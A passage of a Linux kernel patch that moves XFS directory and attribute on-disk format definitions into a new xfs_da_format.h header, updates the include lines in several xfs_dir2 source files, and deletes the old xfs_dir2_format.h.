xfs_dir2_data_entry, name[0]); + + size += n; + size += sizeof(xfs_dir2_data_off_t); + if (ftype) + size += sizeof(__uint8_t); + return roundup(size, XFS_DIR2_DATA_ALIGN); +} +static inline int +xfs_dir3_data_entsize( + struct xfs_mount *mp, + int n) +{ + bool ftype = xfs_sb_version_hasftype(&mp->m_sb) ? true : false; + return __xfs_dir3_data_entsize(ftype, n); +} + +static inline __uint8_t +xfs_dir3_dirent_get_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + if (xfs_sb_version_hasftype(&mp->m_sb)) { + __uint8_t type = dep->name[dep->namelen]; + + ASSERT(type < XFS_DIR3_FT_MAX); + if (type < XFS_DIR3_FT_MAX) + return type; + + } + return XFS_DIR3_FT_UNKNOWN; +} + +static inline void +xfs_dir3_dirent_put_ftype( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep, + __uint8_t type) +{ + ASSERT(type < XFS_DIR3_FT_MAX); + ASSERT(dep->namelen != 0); + + if (xfs_sb_version_hasftype(&mp->m_sb)) + dep->name[dep->namelen] = type; +} + +/* + * Pointer to an entry's tag word. + */ +static inline __be16 * +xfs_dir3_data_entry_tag_p( + struct xfs_mount *mp, + struct xfs_dir2_data_entry *dep) +{ + return (__be16 *)((char *)dep + + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); +} + +/* + * Pointer to a freespace's tag word. + */ +static inline __be16 * +xfs_dir2_data_unused_tag_p(struct xfs_dir2_data_unused *dup) +{ + return (__be16 *)((char *)dup + + be16_to_cpu(dup->length) - sizeof(__be16)); +} + +static inline size_t +xfs_dir3_data_hdr_size(bool dir3) +{ + if (dir3) + return sizeof(struct xfs_dir3_data_hdr); + return sizeof(struct xfs_dir2_data_hdr); +} + +static inline size_t +xfs_dir3_data_entry_offset(struct xfs_dir2_data_hdr *hdr) +{ + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_hdr_size(dir3); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_entry_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); +} + +static inline struct xfs_dir2_data_unused * +xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_unused *) + ((char *)hdr + xfs_dir3_data_entry_offset(hdr)); +} + +/* + * Offsets of . and .. in data space (always block 0) + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. + */ +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_dot_offset(struct xfs_mount *mp) +{ + return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) +{ + return xfs_dir3_data_dot_offset(mp) + + xfs_dir3_data_entsize(mp, 1); +} + +static inline xfs_dir2_data_aoff_t +xfs_dir3_data_first_offset(struct xfs_mount *mp) +{ + return xfs_dir3_data_dotdot_offset(mp) + + xfs_dir3_data_entsize(mp, 2); +} + +/* + * location of . and .. in data space (always block 0) + */ +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_dot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dot_offset(mp)); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_dotdot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); +} + +static inline struct xfs_dir2_data_entry * +xfs_dir3_data_first_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) +{ + return (struct xfs_dir2_data_entry *) + ((char *)hdr + xfs_dir3_data_first_offset(mp)); +} + +/* + * Leaf block structures. + * + * A pure leaf block looks like the following drawing on disk: + * + * +---------------------------+ + * | xfs_dir2_leaf_hdr_t | + * +---------------------------+ + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * | ... | + * +---------------------------+ + * | xfs_dir2_data_off_t | + * | xfs_dir2_data_off_t | + * | xfs_dir2_data_off_t | + * | ... | + * +---------------------------+ + * | xfs_dir2_leaf_tail_t | + * +---------------------------+ + * + * The xfs_dir2_data_off_t members (bests) and tail are at the end of the block + * for single-leaf (magic = XFS_DIR2_LEAF1_MAGIC) blocks only, but not present + * for directories with separate leaf nodes and free space blocks + * (magic = XFS_DIR2_LEAFN_MAGIC). + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + */ + +/* + * Offset of the leaf/node space. First block in this space + * is the btree root. + */ +#define XFS_DIR2_LEAF_SPACE 1 +#define XFS_DIR2_LEAF_OFFSET (XFS_DIR2_LEAF_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_LEAF_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_LEAF_OFFSET) + +/* + * Leaf block header. + */ +typedef struct xfs_dir2_leaf_hdr { + xfs_da_blkinfo_t info; /* header for da routines */ + __be16 count; /* count of entries */ + __be16 stale; /* count of stale entries */ +} xfs_dir2_leaf_hdr_t; + +struct xfs_dir3_leaf_hdr { + struct xfs_da3_blkinfo info; /* header for da routines */ + __be16 count; /* count of entries */ + __be16 stale; /* count of stale entries */ + __be32 pad; /* 64 bit alignment */ +}; + +struct xfs_dir3_icleaf_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t stale; +}; + +/* + * Leaf block entry. + */ +typedef struct xfs_dir2_leaf_entry { + __be32 hashval; /* hash value of name */ + __be32 address; /* address of data entry */ +} xfs_dir2_leaf_entry_t; + +/* + * Leaf block tail. + */ +typedef struct xfs_dir2_leaf_tail { + __be32 bestcount; +} xfs_dir2_leaf_tail_t; + +/* + * Leaf block. + */ +typedef struct xfs_dir2_leaf { + xfs_dir2_leaf_hdr_t hdr; /* leaf header */ + xfs_dir2_leaf_entry_t __ents[]; /* entries */ +} xfs_dir2_leaf_t; + +struct xfs_dir3_leaf { + struct xfs_dir3_leaf_hdr hdr; /* leaf header */ + struct xfs_dir2_leaf_entry __ents[]; /* entries */ +}; + +#define XFS_DIR3_LEAF_CRC_OFF offsetof(struct xfs_dir3_leaf_hdr, info.crc) + +extern void xfs_dir3_leaf_hdr_from_disk(struct xfs_dir3_icleaf_hdr *to, + struct xfs_dir2_leaf *from); + +static inline int +xfs_dir3_leaf_hdr_size(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) + return sizeof(struct xfs_dir3_leaf_hdr); + return sizeof(struct xfs_dir2_leaf_hdr); +} + +static inline int +xfs_dir3_max_leaf_ents(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) +{ + return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size(lp)) / + (uint)sizeof(struct xfs_dir2_leaf_entry); +} + +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline struct xfs_dir2_leaf_entry * +xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) +{ + if (lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAF1_MAGIC) || + lp->hdr.info.magic == cpu_to_be16(XFS_DIR3_LEAFN_MAGIC)) { + struct xfs_dir3_leaf *lp3 = (struct xfs_dir3_leaf *)lp; + return lp3->__ents; + } + return lp->__ents; +} + +/* + * Get address of the bestcount field in the single-leaf block. + */ +static inline struct xfs_dir2_leaf_tail * +xfs_dir2_leaf_tail_p(struct xfs_mount *mp, struct xfs_dir2_leaf *lp) +{ + return (struct xfs_dir2_leaf_tail *) + ((char *)lp + mp->m_dirblksize - + sizeof(struct xfs_dir2_leaf_tail)); +} + +/* + * Get address of the bests array in the single-leaf block. + */ +static inline __be16 * +xfs_dir2_leaf_bests_p(struct xfs_dir2_leaf_tail *ltp) +{ + return (__be16 *)ltp - be32_to_cpu(ltp->bestcount); +} + +/* + * DB blocks here are logical directory block numbers, not filesystem blocks. + */ + +/* + * Convert dataptr to byte in file space + */ +static inline xfs_dir2_off_t +xfs_dir2_dataptr_to_byte(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return (xfs_dir2_off_t)dp << XFS_DIR2_DATA_ALIGN_LOG; +} + +/* + * Convert byte in file space to dataptr. It had better be aligned. + */ +static inline xfs_dir2_dataptr_t +xfs_dir2_byte_to_dataptr(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_dataptr_t)(by >> XFS_DIR2_DATA_ALIGN_LOG); +} + +/* + * Convert byte in space to (DB) block + */ +static inline xfs_dir2_db_t +xfs_dir2_byte_to_db(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_db_t) + (by >> (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)); +} + +/* + * Convert dataptr to a block number + */ +static inline xfs_dir2_db_t +xfs_dir2_dataptr_to_db(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return xfs_dir2_byte_to_db(mp, xfs_dir2_dataptr_to_byte(mp, dp)); +} + +/* + * Convert byte in space to offset in a block + */ +static inline xfs_dir2_data_aoff_t +xfs_dir2_byte_to_off(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return (xfs_dir2_data_aoff_t)(by & + ((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) - 1)); +} + +/* + * Convert dataptr to a byte offset in a block + */ +static inline xfs_dir2_data_aoff_t +xfs_dir2_dataptr_to_off(struct xfs_mount *mp, xfs_dir2_dataptr_t dp) +{ + return xfs_dir2_byte_to_off(mp, xfs_dir2_dataptr_to_byte(mp, dp)); +} + +/* + * Convert block and offset to byte in space + */ +static inline xfs_dir2_off_t +xfs_dir2_db_off_to_byte(struct xfs_mount *mp, xfs_dir2_db_t db, + xfs_dir2_data_aoff_t o) +{ + return ((xfs_dir2_off_t)db << + (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) + o; +} + +/* + * Convert block (DB) to block (dablk) + */ +static inline xfs_dablk_t +xfs_dir2_db_to_da(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return (xfs_dablk_t)(db << mp->m_sb.sb_dirblklog); +} + +/* + * Convert byte in space to (DA) block + */ +static inline xfs_dablk_t +xfs_dir2_byte_to_da(struct xfs_mount *mp, xfs_dir2_off_t by) +{ + return xfs_dir2_db_to_da(mp, xfs_dir2_byte_to_db(mp, by)); +} + +/* + * Convert block and offset to dataptr + */ +static inline xfs_dir2_dataptr_t +xfs_dir2_db_off_to_dataptr(struct xfs_mount *mp, xfs_dir2_db_t db, + xfs_dir2_data_aoff_t o) +{ + return xfs_dir2_byte_to_dataptr(mp, xfs_dir2_db_off_to_byte(mp, db, o)); +} + +/* + * Convert block (dablk) to block (DB) + */ +static inline xfs_dir2_db_t +xfs_dir2_da_to_db(struct xfs_mount *mp, xfs_dablk_t da) +{ + return (xfs_dir2_db_t)(da >> mp->m_sb.sb_dirblklog); +} + +/* + * Convert block (dablk) to byte offset in space + */ +static inline xfs_dir2_off_t +xfs_dir2_da_to_byte(struct xfs_mount *mp, xfs_dablk_t da) +{ + return xfs_dir2_db_off_to_byte(mp, xfs_dir2_da_to_db(mp, da), 0); +} + +/* + * Free space block defintions for the node format. + */ + +/* + * Offset of the freespace index. + */ +#define XFS_DIR2_FREE_SPACE 2 +#define XFS_DIR2_FREE_OFFSET (XFS_DIR2_FREE_SPACE * XFS_DIR2_SPACE_SIZE) +#define XFS_DIR2_FREE_FIRSTDB(mp) \ + xfs_dir2_byte_to_db(mp, XFS_DIR2_FREE_OFFSET) + +typedef struct xfs_dir2_free_hdr { + __be32 magic; /* XFS_DIR2_FREE_MAGIC */ + __be32 firstdb; /* db of first entry */ + __be32 nvalid; /* count of valid entries */ + __be32 nused; /* count of used entries */ +} xfs_dir2_free_hdr_t; + +typedef struct xfs_dir2_free { + xfs_dir2_free_hdr_t hdr; /* block header */ + __be16 bests[]; /* best free counts */ + /* unused entries are -1 */ +} xfs_dir2_free_t; + +struct xfs_dir3_free_hdr { + struct xfs_dir3_blk_hdr hdr; + __be32 firstdb; /* db of first entry */ + __be32 nvalid; /* count of valid entries */ + __be32 nused; /* count of used entries */ + __be32 pad; /* 64 bit alignment */ +}; + +struct xfs_dir3_free { + struct xfs_dir3_free_hdr hdr; + __be16 bests[]; /* best free counts */ + /* unused entries are -1 */ +}; + +#define XFS_DIR3_FREE_CRC_OFF offsetof(struct xfs_dir3_free, hdr.hdr.crc) + +/* + * In core version of the free block header, abstracted away from on-disk format + * differences. Use this in the code, and convert to/from the disk version using + * xfs_dir3_free_hdr_from_disk/xfs_dir3_free_hdr_to_disk. + */ +struct xfs_dir3_icfree_hdr { + __uint32_t magic; + __uint32_t firstdb; + __uint32_t nvalid; + __uint32_t nused; + +}; + +void xfs_dir3_free_hdr_from_disk(struct xfs_dir3_icfree_hdr *to, + struct xfs_dir2_free *from); + +static inline int +xfs_dir3_free_hdr_size(struct xfs_mount *mp) +{ + if (xfs_sb_version_hascrc(&mp->m_sb)) + return sizeof(struct xfs_dir3_free_hdr); + return sizeof(struct xfs_dir2_free_hdr); +} + +static inline int +xfs_dir3_free_max_bests(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir3_free_hdr_size(mp)) / + sizeof(xfs_dir2_data_off_t); +} + +static inline __be16 * +xfs_dir3_free_bests_p(struct xfs_mount *mp, struct xfs_dir2_free *free) +{ + return (__be16 *)((char *)free + xfs_dir3_free_hdr_size(mp)); +} + +/* + * Convert data space db to the corresponding free db. + */ +static inline xfs_dir2_db_t +xfs_dir2_db_to_fdb(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return XFS_DIR2_FREE_FIRSTDB(mp) + db / xfs_dir3_free_max_bests(mp); +} + +/* + * Convert data space db to the corresponding index in a free db. + */ +static inline int +xfs_dir2_db_to_fdindex(struct xfs_mount *mp, xfs_dir2_db_t db) +{ + return db % xfs_dir3_free_max_bests(mp); +} + +/* + * Single block format. + * + * The single block format looks like the following drawing on disk: + * + * +-------------------------------------------------+ + * | xfs_dir2_data_hdr_t | + * +-------------------------------------------------+ + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t | + * | xfs_dir2_data_entry_t OR xfs_dir2_data_unused_t : + * | ... | + * +-------------------------------------------------+ + * | unused space | + * +-------------------------------------------------+ + * | ... | + * | xfs_dir2_leaf_entry_t | + * | xfs_dir2_leaf_entry_t | + * +-------------------------------------------------+ + * | xfs_dir2_block_tail_t | + * +-------------------------------------------------+ + * + * As all the entries are variable size structures the accessors below should + * be used to iterate over them. + */ + +typedef struct xfs_dir2_block_tail { + __be32 count; /* count of leaf entries */ + __be32 stale; /* count of stale lf entries */ +} xfs_dir2_block_tail_t; + +/* + * Pointer to the leaf header embedded in a data block (1-block format) + */ +static inline struct xfs_dir2_block_tail * +xfs_dir2_block_tail_p(struct xfs_mount *mp, struct xfs_dir2_data_hdr *hdr) +{ + return ((struct xfs_dir2_block_tail *) + ((char *)hdr + mp->m_dirblksize)) - 1; +} + +/* + * Pointer to the leaf entries embedded in a data block (1-block format) + */ +static inline struct xfs_dir2_leaf_entry * +xfs_dir2_block_leaf_p(struct xfs_dir2_block_tail *btp) +{ + return ((struct xfs_dir2_leaf_entry *)btp) - be32_to_cpu(btp->count); +} + + +/* + * Attribute storage layout + * + * Attribute lists are structured around Btrees where all the data + * elements are in the leaf nodes. Attribute names are hashed into an int, + * then that int is used as the index into the Btree. Since the hashval + * of an attribute name may not be unique, we may have duplicate keys. The + * internal links in the Btree are logical block offsets into the file. + * + *======================================================================== + * Attribute structure when equal to XFS_LBSIZE(mp) bytes. + *======================================================================== + * + * Struct leaf_entry's are packed from the top. Name/values grow from the + * bottom but are not packed. The freemap contains run-length-encoded entries + * for the free bytes after the leaf_entry's, but only the N largest such, + * smaller runs are dropped. When the freemap doesn't show enough space + * for an allocation, we compact the name/value area and try again. If we + * still don't have enough space, then we have to split the block. The + * name/value structs (both local and remote versions) must be 32bit aligned. + * + * Since we have duplicate hash keys, for each key that matches, compare + * the actual name string. The root and intermediate node search always + * takes the first-in-the-block key match found, so we should only have + * to work "forw"ard. If none matches, continue with the "forw"ard leaf + * nodes until the hash key changes or the attribute name is found. + * + * We store the fact that an attribute is a ROOT/USER/SECURE attribute in + * the leaf_entry. The namespaces are independent only because we also look + * at the namespace bit when we are looking for a matching attribute name. + * + * We also store an "incomplete" bit in the leaf_entry. It shows that an + * attribute is in the middle of being created and should not be shown to + * the user if we crash during the time that the bit is set. We clear the + * bit when we have finished setting up the attribute. We do this because + * we cannot create some large attributes inside a single transaction, and we + * need some indication that we weren't finished if we crash in the middle. + */ +#define XFS_ATTR_LEAF_MAPSIZE 3 /* how many freespace slots */ + +typedef struct xfs_attr_leaf_map { /* RLE map of free bytes */ + __be16 base; /* base of free region */ + __be16 size; /* length of free region */ +} xfs_attr_leaf_map_t; + +typedef struct xfs_attr_leaf_hdr { /* constant-structure header block */ + xfs_da_blkinfo_t info; /* block type, links, etc. */ + __be16 count; /* count of active leaf_entry's */ + __be16 usedbytes; /* num bytes of names/values stored */ + __be16 firstused; /* first used byte in name area */ + __u8 holes; /* != 0 if blk needs compaction */ + __u8 pad1; + xfs_attr_leaf_map_t freemap[XFS_ATTR_LEAF_MAPSIZE]; + /* N largest free regions */ +} xfs_attr_leaf_hdr_t; + +typedef struct xfs_attr_leaf_entry { /* sorted on key, not name */ + __be32 hashval; /* hash value of name */ + __be16 nameidx; /* index into buffer of name/value */ + __u8 flags; /* LOCAL/ROOT/SECURE/INCOMPLETE flag */ + __u8 pad2; /* unused pad byte */ +} xfs_attr_leaf_entry_t; + +typedef struct xfs_attr_leaf_name_local { + __be16 valuelen; /* number of bytes in value */ + __u8 namelen; /* length of name bytes */ + __u8 nameval[1]; /* name/value bytes */ +} xfs_attr_leaf_name_local_t; + +typedef struct xfs_attr_leaf_name_remote { + __be32 valueblk; /* block number of value bytes */ + __be32 valuelen; /* number of bytes in value */ + __u8 namelen; /* length of name bytes */ + __u8 name[1]; /* name bytes */ +} xfs_attr_leaf_name_remote_t; + +typedef struct xfs_attr_leafblock { + xfs_attr_leaf_hdr_t hdr; /* constant-structure header block */ + xfs_attr_leaf_entry_t entries[1]; /* sorted on key, not name */ + xfs_attr_leaf_name_local_t namelist; /* grows from bottom of buf */ + xfs_attr_leaf_name_remote_t valuelist; /* grows from bottom of buf */ +} xfs_attr_leafblock_t; + +/* + * CRC enabled leaf structures. Called "version 3" structures to match the + * version number of the directory and dablk structures for this feature, and + * attr2 is already taken by the variable inode attribute fork size feature. + */ +struct xfs_attr3_leaf_hdr { + struct xfs_da3_blkinfo info; + __be16 count; + __be16 usedbytes; + __be16 firstused; + __u8 holes; + __u8 pad1; + struct xfs_attr_leaf_map freemap[XFS_ATTR_LEAF_MAPSIZE]; + __be32 pad2; /* 64 bit alignment */ +}; + +#define XFS_ATTR3_LEAF_CRC_OFF (offsetof(struct xfs_attr3_leaf_hdr, info.crc)) + +struct xfs_attr3_leafblock { + struct xfs_attr3_leaf_hdr hdr; + struct xfs_attr_leaf_entry entries[1]; + + /* + * The rest of the block contains the following structures after the + * leaf entries, growing from the bottom up. The variables are never + * referenced, the locations accessed purely from helper functions. + * + * struct xfs_attr_leaf_name_local + * struct xfs_attr_leaf_name_remote + */ +}; + +/* + * incore, neutral version of the attribute leaf header + */ +struct xfs_attr3_icleaf_hdr { + __uint32_t forw; + __uint32_t back; + __uint16_t magic; + __uint16_t count; + __uint16_t usedbytes; + __uint16_t firstused; + __u8 holes; + struct { + __uint16_t base; + __uint16_t size; + } freemap[XFS_ATTR_LEAF_MAPSIZE]; +}; + +/* + * Flags used in the leaf_entry[i].flags field. + * NOTE: the INCOMPLETE bit must not collide with the flags bits specified + * on the system call, they are "or"ed together for various operations. + */ +#define XFS_ATTR_LOCAL_BIT 0 /* attr is stored locally */ +#define XFS_ATTR_ROOT_BIT 1 /* limit access to trusted attrs */ +#define XFS_ATTR_SECURE_BIT 2 /* limit access to secure attrs */ +#define XFS_ATTR_INCOMPLETE_BIT 7 /* attr in middle of create/delete */ +#define XFS_ATTR_LOCAL (1 << XFS_ATTR_LOCAL_BIT) +#define XFS_ATTR_ROOT (1 << XFS_ATTR_ROOT_BIT) +#define XFS_ATTR_SECURE (1 << XFS_ATTR_SECURE_BIT) +#define XFS_ATTR_INCOMPLETE (1 << XFS_ATTR_INCOMPLETE_BIT) + +/* + * Conversion macros for converting namespace bits from argument flags + * to ondisk flags. + */ +#define XFS_ATTR_NSP_ARGS_MASK (ATTR_ROOT | ATTR_SECURE) +#define XFS_ATTR_NSP_ONDISK_MASK (XFS_ATTR_ROOT | XFS_ATTR_SECURE) +#define XFS_ATTR_NSP_ONDISK(flags) ((flags) & XFS_ATTR_NSP_ONDISK_MASK) +#define XFS_ATTR_NSP_ARGS(flags) ((flags) & XFS_ATTR_NSP_ARGS_MASK) +#define XFS_ATTR_NSP_ARGS_TO_ONDISK(x) (((x) & ATTR_ROOT ? XFS_ATTR_ROOT : 0) |\ + ((x) & ATTR_SECURE ? XFS_ATTR_SECURE : 0)) +#define XFS_ATTR_NSP_ONDISK_TO_ARGS(x) (((x) & XFS_ATTR_ROOT ? ATTR_ROOT : 0) |\ + ((x) & XFS_ATTR_SECURE ? ATTR_SECURE : 0)) + +/* + * Alignment for namelist and valuelist entries (since they are mixed + * there can be only one alignment value) + */ +#define XFS_ATTR_LEAF_NAME_ALIGN ((uint)sizeof(xfs_dablk_t)) + +static inline int +xfs_attr3_leaf_hdr_size(struct xfs_attr_leafblock *leafp) +{ + if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) + return sizeof(struct xfs_attr3_leaf_hdr); + return sizeof(struct xfs_attr_leaf_hdr); +} + +static inline struct xfs_attr_leaf_entry * +xfs_attr3_leaf_entryp(xfs_attr_leafblock_t *leafp) +{ + if (leafp->hdr.info.magic == cpu_to_be16(XFS_ATTR3_LEAF_MAGIC)) + return &((struct xfs_attr3_leafblock *)leafp)->entries[0]; + return &leafp->entries[0]; +} + +/* + * Cast typed pointers for "local" and "remote" name/value structs. + */ +static inline char * +xfs_attr3_leaf_name(xfs_attr_leafblock_t *leafp, int idx) +{ + struct xfs_attr_leaf_entry *entries = xfs_attr3_leaf_entryp(leafp); + + return &((char *)leafp)[be16_to_cpu(entries[idx].nameidx)]; +} + +static inline xfs_attr_leaf_name_remote_t * +xfs_attr3_leaf_name_remote(xfs_attr_leafblock_t *leafp, int idx) +{ + return (xfs_attr_leaf_name_remote_t *)xfs_attr3_leaf_name(leafp, idx); +} + +static inline xfs_attr_leaf_name_local_t * +xfs_attr3_leaf_name_local(xfs_attr_leafblock_t *leafp, int idx) +{ + return (xfs_attr_leaf_name_local_t *)xfs_attr3_leaf_name(leafp, idx); +} + +/* + * Calculate total bytes used (including trailing pad for alignment) for + * a "local" name/value structure, a "remote" name/value structure, and + * a pointer which might be either. + */ +static inline int xfs_attr_leaf_entsize_remote(int nlen) +{ + return ((uint)sizeof(xfs_attr_leaf_name_remote_t) - 1 + (nlen) + \ + XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); +} + +static inline int xfs_attr_leaf_entsize_local(int nlen, int vlen) +{ + return ((uint)sizeof(xfs_attr_leaf_name_local_t) - 1 + (nlen) + (vlen) + + XFS_ATTR_LEAF_NAME_ALIGN - 1) & ~(XFS_ATTR_LEAF_NAME_ALIGN - 1); +} + +static inline int xfs_attr_leaf_entsize_local_max(int bsize) +{ + return (((bsize) >> 1) + ((bsize) >> 2)); +} + + + +/* + * Remote attribute block format definition + * + * There is one of these headers per filesystem block in a remote attribute. + * This is done to ensure there is a 1:1 mapping between the attribute value + * length and the number of blocks needed to store the attribute. This makes the + * verification of a buffer a little more complex, but greatly simplifies the + * allocation, reading and writing of these attributes as we don't have to guess + * the number of blocks needed to store the attribute data. + */ +#define XFS_ATTR3_RMT_MAGIC 0x5841524d /* XARM */ + +struct xfs_attr3_rmt_hdr { + __be32 rm_magic; + __be32 rm_offset; + __be32 rm_bytes; + __be32 rm_crc; + uuid_t rm_uuid; + __be64 rm_owner; + __be64 rm_blkno; + __be64 rm_lsn; +}; + +#define XFS_ATTR3_RMT_CRC_OFF offsetof(struct xfs_attr3_rmt_hdr, rm_crc) + +#define XFS_ATTR3_RMT_BUF_SPACE(mp, bufsize) \ + ((bufsize) - (xfs_sb_version_hascrc(&(mp)->m_sb) ? \ + sizeof(struct xfs_attr3_rmt_hdr) : 0)) + +#endif /* __XFS_DA_FORMAT_H__ */ diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index edf203a..f46777f 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -24,6 +24,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" @@ -31,7 +32,6 @@ #include "xfs_inode.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 12dad18..5f17273 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -24,6 +24,7 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" @@ -31,7 +32,6 @@ #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_buf_item.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 47e1326..8cf8034 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -24,11 +24,11 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" +#include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_bmap_btree.h" #include "xfs_dinode.h" #include "xfs_inode.h" -#include "xfs_dir2_format.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_dir2_format.h b/fs/xfs/xfs_dir2_format.h deleted file mode 100644 index 9cf6738..0000000 --- a/fs/xfs/xfs_dir2_format.h +++ /dev/null @@ -1,964 +0,0 @@ -/* - * Copyright (c) 2000-2001,2005 Silicon Graphics, Inc. - * Copyright (c) 2013 Red Hat, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ -#ifndef __XFS_DIR2_FORMAT_H__ -#define __XFS_DIR2_FORMAT_H__ - -/* - * Directory version 2. - * - * There are 4 possible formats: - * - shortform - embedded into the inode - * - single block - data with embedded leaf at the end - * - multiple data blocks, single leaf+freeindex block - * - data blocks, node and leaf blocks (btree), freeindex blocks - * - * Note: many node blocks structures and constants are shared with the attr - * code and defined in xfs_da_btree.h. - */ - -#define XFS_DIR2_BLOCK_MAGIC 0x58443242 /* XD2B: single block dirs */ -#define XFS_DIR2_DATA_MAGIC 0x58443244 /* XD2D: multiblock dirs */ -#define XFS_DIR2_FREE_MAGIC 0x58443246 /* XD2F: free index blocks */ - -/* - * Directory Version 3 With CRCs. - * - * The tree formats are the same as for version 2 directories. The difference - * is in the block header and dirent formats. In many cases the v3 structures - * use v2 definitions as they are no different and this makes code sharing much - * easier. - * - * Also, the xfs_dir3_*() functions handle both v2 and v3 formats - if the - * format is v2 then they switch to the existing v2 code, or the format is v3 - * they implement the v3 functionality. This means the existing dir2 is a mix of - * xfs_dir2/xfs_dir3 calls and functions. The xfs_dir3 functions are called - * where there is a difference in the formats, otherwise the code is unchanged. - * - * Where it is possible, the code decides what to do based on the magic numbers - * in the blocks rather than feature bits in the superblock. This means the code - * is as independent of the external XFS code as possible as doesn't require - * passing struct xfs_mount pointers into places where it isn't really - * necessary. - * - * Version 3 includes: - * - * - a larger block header for CRC and identification purposes and so the - * offsets of all the structures inside the blocks are different. - * - * - new magic numbers to be able to detect the v2/v3 types on the fly. - */ - -#define XFS_DIR3_BLOCK_MAGIC 0x58444233 /* XDB3: single block dirs */ -#define XFS_DIR3_DATA_MAGIC 0x58444433 /* XDD3: multiblock dirs */ -#define XFS_DIR3_FREE_MAGIC 0x58444633 /* XDF3: free index blocks */ - -/* - * Dirents in version 3 directories have a file type field. Additions to this - * list are an on-disk format change, requiring 